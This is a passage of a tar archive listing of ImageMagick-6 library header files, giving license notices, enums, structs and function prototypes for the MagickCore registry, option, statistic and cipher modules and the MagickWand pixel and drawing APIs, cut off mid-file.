ImageMagick-6/magick/registry.h 0000644 00000002740 15246445047 0012337 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore registry methods. */ #ifndef MAGICKCORE_REGISTRY_H #define MAGICKCORE_REGISTRY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedRegistryType, ImageRegistryType, ImageInfoRegistryType, StringRegistryType } RegistryType; extern MagickExport char *GetNextImageRegistry(void); extern MagickExport MagickBooleanType DefineImageRegistry(const RegistryType,const char *,ExceptionInfo *), DeleteImageRegistry(const char *), RegistryComponentGenesis(void), SetImageRegistry(const RegistryType,const char *,const void *, ExceptionInfo *); extern MagickExport void *GetImageRegistry(const RegistryType,const char *,ExceptionInfo *), RegistryComponentTerminus(void), *RemoveImageRegistry(const char *), ResetImageRegistryIterator(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/animate.h 0000644 00000001676 15246445047 0012114 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore methods to interactively animate an image sequence. */ #ifndef MAGICKCORE_ANIMATE_H #define MAGICKCORE_ANIMATE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType AnimateImages(const ImageInfo *,Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/option.h 0000644 00000012446 15246445047 0012003 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore option methods. */ #ifndef MAGICKCORE_OPTION_H #define MAGICKCORE_OPTION_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { MagickUndefinedOptions = -1, MagickAlignOptions = 0, MagickAlphaOptions, MagickBooleanOptions, MagickCacheOptions, MagickChannelOptions, MagickClassOptions, MagickClipPathOptions, MagickCoderOptions, MagickColorOptions, MagickColorspaceOptions, MagickCommandOptions, MagickComposeOptions, MagickCompressOptions, MagickConfigureOptions, MagickDataTypeOptions, MagickDebugOptions, MagickDecorateOptions, MagickDelegateOptions, MagickDirectionOptions, MagickDisposeOptions, MagickDistortOptions, MagickDitherOptions, MagickEndianOptions, MagickEvaluateOptions, MagickFillRuleOptions, MagickFilterOptions, MagickFontOptions, MagickFontsOptions, MagickFormatOptions, MagickFunctionOptions, MagickGravityOptions, MagickIntentOptions, MagickInterlaceOptions, MagickInterpolateOptions, MagickKernelOptions, MagickLayerOptions, MagickLineCapOptions, MagickLineJoinOptions, MagickListOptions, MagickLocaleOptions, MagickLogEventOptions, MagickLogOptions, MagickMagicOptions, MagickMethodOptions, MagickMetricOptions, MagickMimeOptions, MagickModeOptions, MagickModuleOptions, MagickMorphologyOptions, MagickNoiseOptions, MagickOrientationOptions, MagickPixelIntensityOptions, MagickPolicyOptions, MagickPolicyDomainOptions, MagickPolicyRightsOptions, MagickPreviewOptions, MagickPrimitiveOptions, MagickQuantumFormatOptions, MagickResolutionOptions, MagickResourceOptions, MagickSparseColorOptions, MagickStatisticOptions, MagickStorageOptions, MagickStretchOptions, MagickStyleOptions, MagickThresholdOptions, MagickTypeOptions, MagickValidateOptions, MagickVirtualPixelOptions, MagickComplexOptions, MagickIntensityOptions, MagickGradientOptions, MagickWeightOptions, MagickComplianceOptions, MagickAutoThresholdOptions, MagickPagesizeOptions } CommandOption; typedef enum { UndefinedValidate, NoValidate = 0x00000, ColorspaceValidate = 0x00001, CompareValidate = 0x00002, CompositeValidate = 0x00004, ConvertValidate = 0x00008, FormatsDiskValidate = 0x00010, FormatsMapValidate = 0x00020, FormatsMemoryValidate = 0x00040, IdentifyValidate = 0x00080, ImportExportValidate = 0x00100, MontageValidate = 0x00200, StreamValidate = 0x00400, AllValidate = 0x7fffffff } ValidateType; typedef struct _OptionInfo { const char *mnemonic; ssize_t type, flags; MagickBooleanType stealth; } OptionInfo; /* Flags to describe classes of image processing options. */ typedef enum { UndefinedOptionFlag = 0x0000, FireOptionFlag = 0x0001, /* Option sequence firing point */ ImageInfoOptionFlag = 0x0002, /* Sets ImageInfo, no image needed */ DrawInfoOptionFlag = 0x0004, /* Sets DrawInfo, no image needed */ QuantizeInfoOptionFlag = 0x0008, /* Sets QuantizeInfo, no image needed */ GlobalOptionFlag = 0x0010, /* Sets Global Option, no image needed */ SimpleOperatorOptionFlag = 0x0100, /* Simple Image processing operator */ ListOperatorOptionFlag = 0x0200, /* Multi-Image List processing operator */ SpecialOperatorOptionFlag = 0x0400, /* Specially handled Operator Option */ GenesisOptionFlag = 0x0400, /* Genesis Command Wrapper Option */ NonConvertOptionFlag = 0x4000, /* Option not used by Convert */ DeprecateOptionFlag = 0x8000 /* Deprecate option, give warning */ } CommandOptionFlags; extern MagickExport char **GetCommandOptions(const CommandOption), *GetNextImageOption(const ImageInfo *), *RemoveImageOption(ImageInfo *,const char *); extern MagickExport const char *CommandOptionToMnemonic(const CommandOption,const ssize_t), *GetImageOption(const ImageInfo *,const char *); extern MagickExport MagickBooleanType CloneImageOptions(ImageInfo *,const ImageInfo *), DefineImageOption(ImageInfo *,const char *), DeleteImageOption(ImageInfo *,const char *), IsCommandOption(const char *), IsOptionMember(const char *,const char *), ListCommandOptions(FILE *,const CommandOption,ExceptionInfo *), SetImageOption(ImageInfo *,const char *,const char *); extern MagickExport ssize_t GetCommandOptionFlags(const CommandOption,const MagickBooleanType, const char *), ParseChannelOption(const char *), ParseCommandOption(const CommandOption,const MagickBooleanType,const char *); extern MagickExport void DestroyImageOptions(ImageInfo *), ResetImageOptions(const ImageInfo *), ResetImageOptionIterator(const ImageInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/statistic.h 0000644 00000011563 15246445047 0012501 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore statistical methods. */ #ifndef MAGICKCORE_STATISTIC_H #define MAGICKCORE_STATISTIC_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #include "magick/draw.h" #define MaximumNumberOfImageMoments 8 #define MaximumNumberOfPerceptualHashes 7 typedef struct _ChannelStatistics { size_t depth; double minima, maxima, sum, sum_squared, sum_cubed, sum_fourth_power, mean, variance, standard_deviation, kurtosis, skewness, entropy; } ChannelStatistics; #undef I typedef struct _ChannelMoments { double I[32]; PointInfo centroid, ellipse_axis; double ellipse_angle, ellipse_eccentricity, ellipse_intensity; } ChannelMoments; typedef struct _ChannelPerceptualHash { double P[32], Q[32]; } ChannelPerceptualHash; typedef enum { UndefinedEvaluateOperator, AddEvaluateOperator, AndEvaluateOperator, DivideEvaluateOperator, LeftShiftEvaluateOperator, MaxEvaluateOperator, MinEvaluateOperator, MultiplyEvaluateOperator, OrEvaluateOperator, RightShiftEvaluateOperator, SetEvaluateOperator, SubtractEvaluateOperator, XorEvaluateOperator, PowEvaluateOperator, LogEvaluateOperator, ThresholdEvaluateOperator, ThresholdBlackEvaluateOperator, ThresholdWhiteEvaluateOperator, GaussianNoiseEvaluateOperator, ImpulseNoiseEvaluateOperator, LaplacianNoiseEvaluateOperator, MultiplicativeNoiseEvaluateOperator, PoissonNoiseEvaluateOperator, UniformNoiseEvaluateOperator, CosineEvaluateOperator, SineEvaluateOperator, AddModulusEvaluateOperator, MeanEvaluateOperator, AbsEvaluateOperator, ExponentialEvaluateOperator, MedianEvaluateOperator, SumEvaluateOperator, RootMeanSquareEvaluateOperator, InverseLogEvaluateOperator } MagickEvaluateOperator; typedef enum { UndefinedFunction, PolynomialFunction, SinusoidFunction, ArcsinFunction, ArctanFunction } MagickFunction; typedef enum { UndefinedStatistic, GradientStatistic, MaximumStatistic, MeanStatistic, MedianStatistic, MinimumStatistic, ModeStatistic, NonpeakStatistic, StandardDeviationStatistic, RootMeanSquareStatistic } StatisticType; extern MagickExport ChannelStatistics *GetImageChannelStatistics(const Image *,ExceptionInfo *); extern MagickExport ChannelMoments *GetImageChannelMoments(const Image *,ExceptionInfo *); extern MagickExport ChannelPerceptualHash *GetImageChannelPerceptualHash(const Image *,ExceptionInfo *); extern MagickExport Image *EvaluateImages(const Image *,const MagickEvaluateOperator,ExceptionInfo *), *PolynomialImage(const Image *,const size_t,const double *,ExceptionInfo *), *PolynomialImageChannel(const Image *,const ChannelType,const size_t, const double *,ExceptionInfo *), *StatisticImage(const Image *,const StatisticType,const size_t,const size_t, ExceptionInfo *), *StatisticImageChannel(const Image *,const ChannelType,const StatisticType, const size_t,const size_t,ExceptionInfo *); extern MagickExport MagickBooleanType EvaluateImage(Image *,const MagickEvaluateOperator,const double, ExceptionInfo *), EvaluateImageChannel(Image *,const ChannelType,const MagickEvaluateOperator, const double,ExceptionInfo *), FunctionImage(Image *,const MagickFunction,const size_t,const double *, ExceptionInfo *), FunctionImageChannel(Image *,const ChannelType,const MagickFunction, const size_t,const double *,ExceptionInfo *), GetImageChannelEntropy(const Image *,const ChannelType,double *, ExceptionInfo *), GetImageChannelExtrema(const Image *,const ChannelType,size_t *,size_t *, ExceptionInfo *), GetImageChannelMean(const Image *,const ChannelType,double *,double *, ExceptionInfo *), GetImageChannelKurtosis(const Image *,const ChannelType,double *,double *, ExceptionInfo *), GetImageChannelRange(const Image *,const ChannelType,double *,double *, ExceptionInfo *), GetImageEntropy(const Image *,double *,ExceptionInfo *), GetImageExtrema(const Image *,size_t *,size_t *,ExceptionInfo *), GetImageMean(const Image *,double *,double *,ExceptionInfo *), GetImageKurtosis(const Image *,double *,double *,ExceptionInfo *), GetImageRange(const Image *,double *,double *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/cipher.h 0000644 00000002150 15246445047 0011734 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore cipher methods. */ #ifndef MAGICKCORE_CIPHER_H #define MAGICKCORE_CIPHER_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType DecipherImage(Image *,const char *,ExceptionInfo *), EncipherImage(Image *,const char *,ExceptionInfo *), PasskeyDecipherImage(Image *,const StringInfo *,ExceptionInfo *), PasskeyEncipherImage(Image *,const StringInfo *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/Magick++.h 0000644 00000001311 15246445047 0010546 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000 // Copyright Dirk Lemstra 2014 // // Simplified includes for Magick++. // Inclusion of this header is sufficient to use all Magick++ APIs. // #ifndef MagickPlusPlus_Header #include <Magick++/Include.h> #include <Magick++/Functions.h> #include <Magick++/Image.h> #include <Magick++/Pixels.h> #include <Magick++/ResourceLimits.h> #include <Magick++/STL.h> // Don't leak our definition of the 'restrict' keyword. 'restrict' is a valid // identifier in C++, and leaking it could cause extraneous build failures. #ifdef restrict #undef restrict #endif #define MagickPlusPlus_Header #endif // MagickPlusPlus_Header ImageMagick-6/wand/magick-wand.h 0000644 00000001450 15246445047 0012344 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand API (deprecated, use magick-wand.h instead). */ #ifndef MAGICKWAND_MAGICK_WAND_DEPRECATED_H #define MAGICKWAND_MAGICK_WAND_DEPRECATED_H #include "wand/MagickWand.h" #endif ImageMagick-6/wand/import.h 0000644 00000001703 15246445047 0011475 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand import command-line method. */ #ifndef MAGICKWAND_IMPORT_H #define MAGICKWAND_IMPORT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType ImportImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/composite.h 0000644 00000001717 15246445047 0012172 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand composite command-line method. */ #ifndef MAGICKWAND_COMPOSITE_H #define MAGICKWAND_COMPOSITE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType CompositeImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/mogrify.h 0000644 00000002735 15246445047 0011645 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand mogrify command-line method. */ #ifndef MAGICKWAND_MOGRIFY_H #define MAGICKWAND_MOGRIFY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef MagickBooleanType (*MagickCommand)(ImageInfo *,int,char **,char **,ExceptionInfo *); extern WandExport MagickBooleanType MagickCommandGenesis(ImageInfo *,MagickCommand,int,char **,char **, ExceptionInfo *), MogrifyImage(ImageInfo *,const int,const char **,Image **,ExceptionInfo *), MogrifyImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *), MogrifyImageInfo(ImageInfo *,const int,const char **,ExceptionInfo *), MogrifyImageList(ImageInfo *,const int,const char **,Image **, ExceptionInfo *), MogrifyImages(ImageInfo *,const MagickBooleanType,const int,const char **, Image **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/pixel-wand.h 0000644 00000010772 15246445047 0012241 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand pixel wand methods. */ #ifndef MAGICKWAND_PIXEL_WAND_H #define MAGICKWAND_PIXEL_WAND_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _PixelWand PixelWand; extern WandExport char *PixelGetColorAsNormalizedString(const PixelWand *), *PixelGetColorAsString(const PixelWand *), *PixelGetException(const PixelWand *,ExceptionType *); extern WandExport double PixelGetAlpha(const PixelWand *) magick_attribute((__pure__)), PixelGetBlack(const PixelWand *) magick_attribute((__pure__)), PixelGetBlue(const PixelWand *) magick_attribute((__pure__)), PixelGetCyan(const PixelWand *) magick_attribute((__pure__)), PixelGetFuzz(const PixelWand *) magick_attribute((__pure__)), PixelGetGreen(const PixelWand *) magick_attribute((__pure__)), PixelGetMagenta(const PixelWand *) magick_attribute((__pure__)), PixelGetOpacity(const PixelWand *) magick_attribute((__pure__)), PixelGetRed(const PixelWand *) magick_attribute((__pure__)), PixelGetYellow(const PixelWand *) magick_attribute((__pure__)); extern WandExport ExceptionType PixelGetExceptionType(const PixelWand *); extern WandExport IndexPacket PixelGetIndex(const PixelWand *); extern WandExport MagickBooleanType IsPixelWand(const PixelWand *), IsPixelWandSimilar(PixelWand *,PixelWand *,const double), PixelClearException(PixelWand *), PixelSetColor(PixelWand *,const char *); extern WandExport PixelWand *ClonePixelWand(const PixelWand *), **ClonePixelWands(const PixelWand **,const size_t), *DestroyPixelWand(PixelWand *), **DestroyPixelWands(PixelWand **,const size_t), *NewPixelWand(void), **NewPixelWands(const size_t); extern WandExport Quantum PixelGetAlphaQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetBlackQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetBlueQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetCyanQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetGreenQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetMagentaQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetOpacityQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetRedQuantum(const PixelWand *) magick_attribute((__pure__)), PixelGetYellowQuantum(const PixelWand *) magick_attribute((__pure__)); extern WandExport size_t PixelGetColorCount(const PixelWand *) magick_attribute((__pure__)); extern WandExport void ClearPixelWand(PixelWand *), PixelGetHSL(const PixelWand *,double *,double *,double *), PixelGetMagickColor(const PixelWand *,MagickPixelPacket *), PixelGetQuantumColor(const PixelWand *,PixelPacket *), PixelSetAlpha(PixelWand *,const double), PixelSetAlphaQuantum(PixelWand *,const Quantum), PixelSetBlack(PixelWand *,const double), PixelSetBlackQuantum(PixelWand *,const Quantum), PixelSetBlue(PixelWand *,const double), PixelSetBlueQuantum(PixelWand *,const Quantum), PixelSetColorFromWand(PixelWand *,const PixelWand *), PixelSetColorCount(PixelWand *,const size_t), PixelSetCyan(PixelWand *,const double), PixelSetCyanQuantum(PixelWand *,const Quantum), PixelSetFuzz(PixelWand *,const double), PixelSetGreen(PixelWand *,const double), PixelSetGreenQuantum(PixelWand *,const Quantum), PixelSetHSL(PixelWand *,const double,const double,const double), PixelSetIndex(PixelWand *,const IndexPacket), PixelSetMagenta(PixelWand *,const double), PixelSetMagentaQuantum(PixelWand *,const Quantum), PixelSetMagickColor(PixelWand *,const MagickPixelPacket *), PixelSetOpacity(PixelWand *,const double), PixelSetOpacityQuantum(PixelWand *,const Quantum), PixelSetQuantumColor(PixelWand *,const PixelPacket *), PixelSetRed(PixelWand *,const double), PixelSetRedQuantum(PixelWand *,const Quantum), PixelSetYellow(PixelWand *,const double), PixelSetYellowQuantum(PixelWand *,const Quantum); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/drawing-wand.h 0000644 00000023305 15246445047 0012547 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand drawing wand methods. */ #ifndef MAGICKWAND_DRAWING_WAND_H #define MAGICKWAND_DRAWING_WAND_H #include "wand/pixel-wand.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _DrawingWand DrawingWand; extern WandExport AlignType DrawGetTextAlignment(const DrawingWand *); extern WandExport char *DrawGetClipPath(const DrawingWand *), *DrawGetDensity(const DrawingWand *), *DrawGetException(const DrawingWand *,ExceptionType *), *DrawGetFont(const DrawingWand *), *DrawGetFontFamily(const DrawingWand *), *DrawGetTextEncoding(const DrawingWand *), *DrawGetVectorGraphics(DrawingWand *); extern WandExport ClipPathUnits DrawGetClipUnits(const DrawingWand *) magick_attribute((__pure__)); extern WandExport DecorationType DrawGetTextDecoration(const DrawingWand *) magick_attribute((__pure__)); extern WandExport DirectionType DrawGetTextDirection(const DrawingWand *); extern WandExport double DrawGetFillOpacity(const DrawingWand *) magick_attribute((__pure__)), DrawGetFontSize(const DrawingWand *) magick_attribute((__pure__)), DrawGetOpacity(const DrawingWand *) magick_attribute((__pure__)), *DrawGetStrokeDashArray(const DrawingWand *,size_t *), DrawGetStrokeDashOffset(const DrawingWand *) magick_attribute((__pure__)), DrawGetStrokeOpacity(const DrawingWand *) magick_attribute((__pure__)), DrawGetStrokeWidth(const DrawingWand *) magick_attribute((__pure__)), DrawGetTextKerning(DrawingWand *) magick_attribute((__pure__)), DrawGetTextInterlineSpacing(DrawingWand *) magick_attribute((__pure__)), DrawGetTextInterwordSpacing(DrawingWand *) magick_attribute((__pure__)); extern WandExport DrawInfo *PeekDrawingWand(const DrawingWand *); extern WandExport DrawingWand *AcquireDrawingWand(const DrawInfo *,Image *), *CloneDrawingWand(const DrawingWand *), *DestroyDrawingWand(DrawingWand *), *NewDrawingWand(void); extern WandExport ExceptionType DrawGetExceptionType(const DrawingWand *); extern WandExport FillRule DrawGetClipRule(const DrawingWand *) magick_attribute((__pure__)), DrawGetFillRule(const DrawingWand *) magick_attribute((__pure__)); extern WandExport GravityType DrawGetGravity(const DrawingWand *) magick_attribute((__pure__)); extern WandExport LineCap DrawGetStrokeLineCap(const DrawingWand *) magick_attribute((__pure__)); extern WandExport LineJoin DrawGetStrokeLineJoin(const DrawingWand *) magick_attribute((__pure__)); extern WandExport MagickBooleanType DrawClearException(DrawingWand *), DrawComposite(DrawingWand *,const CompositeOperator,const double,const double, const double,const double,MagickWand *), DrawGetFontResolution(const DrawingWand *,double *,double *), DrawGetStrokeAntialias(const DrawingWand *) magick_attribute((__pure__)), DrawGetTextAntialias(const DrawingWand *) magick_attribute((__pure__)), DrawPopPattern(DrawingWand *), DrawPushPattern(DrawingWand *,const char *,const double,const double, const double,const double), DrawRender(DrawingWand *), DrawSetClipPath(DrawingWand *,const char *), DrawSetDensity(DrawingWand *,const char *), DrawSetFillPatternURL(DrawingWand *,const char *), DrawSetFont(DrawingWand *,const char *), DrawSetFontFamily(DrawingWand *,const char *), DrawSetFontResolution(DrawingWand *,const double,const double), DrawSetStrokeDashArray(DrawingWand *,const size_t,const double *), DrawSetStrokePatternURL(DrawingWand *,const char *), DrawSetVectorGraphics(DrawingWand *,const char *), IsDrawingWand(const DrawingWand *), PopDrawingWand(DrawingWand *), PushDrawingWand(DrawingWand *); extern WandExport StretchType DrawGetFontStretch(const DrawingWand *); extern WandExport StyleType DrawGetFontStyle(const DrawingWand *); extern WandExport size_t DrawGetFontWeight(const DrawingWand *) magick_attribute((__pure__)), DrawGetStrokeMiterLimit(const DrawingWand *) magick_attribute((__pure__)); extern WandExport void ClearDrawingWand(DrawingWand *), DrawAffine(DrawingWand *,const AffineMatrix *), DrawAnnotation(DrawingWand *,const double,const double,const unsigned char *), DrawArc(DrawingWand *,const double,const double,const double,const double, const double,const double), DrawBezier(DrawingWand *,const size_t,const PointInfo *), DrawGetBorderColor(const DrawingWand *,PixelWand *), DrawCircle(DrawingWand *,const double,const double,const double,const double), DrawColor(DrawingWand *,const double,const double,const PaintMethod), DrawComment(DrawingWand *,const char *), DrawEllipse(DrawingWand *,const double,const double,const double,const double, const double,const double), DrawGetFillColor(const DrawingWand *,PixelWand *), DrawGetStrokeColor(const DrawingWand *,PixelWand *), DrawSetTextKerning(DrawingWand *,const double), DrawSetTextInterlineSpacing(DrawingWand *,const double), DrawSetTextInterwordSpacing(DrawingWand *,const double), DrawGetTextUnderColor(const DrawingWand *,PixelWand *), DrawLine(DrawingWand *,const double, const double,const double,const double), DrawMatte(DrawingWand *,const double,const double,const PaintMethod), DrawPathClose(DrawingWand *), DrawPathCurveToAbsolute(DrawingWand *,const double,const double,const double, const double,const double,const double), DrawPathCurveToRelative(DrawingWand *,const double,const double,const double, const double,const double, const double), DrawPathCurveToQuadraticBezierAbsolute(DrawingWand *,const double, const double,const double,const double), DrawPathCurveToQuadraticBezierRelative(DrawingWand *,const double, const double,const double,const double), DrawPathCurveToQuadraticBezierSmoothAbsolute(DrawingWand *,const double, const double), DrawPathCurveToQuadraticBezierSmoothRelative(DrawingWand *,const double, const double), DrawPathCurveToSmoothAbsolute(DrawingWand *,const double,const double, const double,const double), DrawPathCurveToSmoothRelative(DrawingWand *,const double,const double, const double,const double), DrawPathEllipticArcAbsolute(DrawingWand *,const double,const double, const double,const MagickBooleanType,const MagickBooleanType,const double, const double), DrawPathEllipticArcRelative(DrawingWand *,const double,const double, const double,const MagickBooleanType,const MagickBooleanType,const double, const double), DrawPathFinish(DrawingWand *), DrawPathLineToAbsolute(DrawingWand *,const double,const double), DrawPathLineToRelative(DrawingWand *,const double,const double), DrawPathLineToHorizontalAbsolute(DrawingWand *,const double), DrawPathLineToHorizontalRelative(DrawingWand *,const double), DrawPathLineToVerticalAbsolute(DrawingWand *,const double), DrawPathLineToVerticalRelative(DrawingWand *,const double), DrawPathMoveToAbsolute(DrawingWand *,const double,const double), DrawPathMoveToRelative(DrawingWand *,const double,const double), DrawPathStart(DrawingWand *), DrawPoint(DrawingWand *,const double,const double), DrawPolygon(DrawingWand *,const size_t,const PointInfo *), DrawPolyline(DrawingWand *,const size_t,const PointInfo *), DrawPopClipPath(DrawingWand *), DrawPopDefs(DrawingWand *), DrawPushClipPath(DrawingWand *,const char *), DrawPushDefs(DrawingWand *), DrawRectangle(DrawingWand *,const double,const double,const double, const double), DrawResetVectorGraphics(DrawingWand *), DrawRotate(DrawingWand *,const double), DrawRoundRectangle(DrawingWand *,double,double,double,double,double,double), DrawScale(DrawingWand *,const double,const double), DrawSetBorderColor(DrawingWand *,const PixelWand *), DrawSetClipRule(DrawingWand *,const FillRule), DrawSetClipUnits(DrawingWand *,const ClipPathUnits), DrawSetFillColor(DrawingWand *,const PixelWand *), DrawSetFillOpacity(DrawingWand *,const double), DrawSetFillRule(DrawingWand *,const FillRule), DrawSetFontSize(DrawingWand *,const double), DrawSetFontStretch(DrawingWand *,const StretchType), DrawSetFontStyle(DrawingWand *,const StyleType), DrawSetFontWeight(DrawingWand *,const size_t), DrawSetGravity(DrawingWand *,const GravityType), DrawSetOpacity(DrawingWand *,const double), DrawSetStrokeAntialias(DrawingWand *,const MagickBooleanType), DrawSetStrokeColor(DrawingWand *,const PixelWand *), DrawSetStrokeDashOffset(DrawingWand *,const double dashoffset), DrawSetStrokeLineCap(DrawingWand *,const LineCap), DrawSetStrokeLineJoin(DrawingWand *,const LineJoin), DrawSetStrokeMiterLimit(DrawingWand *,const size_t), DrawSetStrokeOpacity(DrawingWand *, const double), DrawSetStrokeWidth(DrawingWand *,const double), DrawSetTextAlignment(DrawingWand *,const AlignType), DrawSetTextAntialias(DrawingWand *,const MagickBooleanType), DrawSetTextDecoration(DrawingWand *,const DecorationType), DrawSetTextDirection(DrawingWand *,const DirectionType), DrawSetTextEncoding(DrawingWand *,const char *), DrawSetTextUnderColor(DrawingWand *,const PixelWand *), DrawSetViewbox(DrawingWand *,ssize_t,ssize_t,ssize_t,ssize_t), DrawSkewX(DrawingWand *,const double), DrawSkewY(DrawingWand *,const double), DrawTranslate(DrawingWand *,const double,const double); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/conjure.h 0000644 00000001707 15246445047 0011634 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand conjure command-line method. */ #ifndef MAGICKWAND_CONJURE_H #define MAGICKWAND_CONJURE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType ConjureImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/pixel-iterator.h 0000644 00000004040 15246445047 0013130 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of 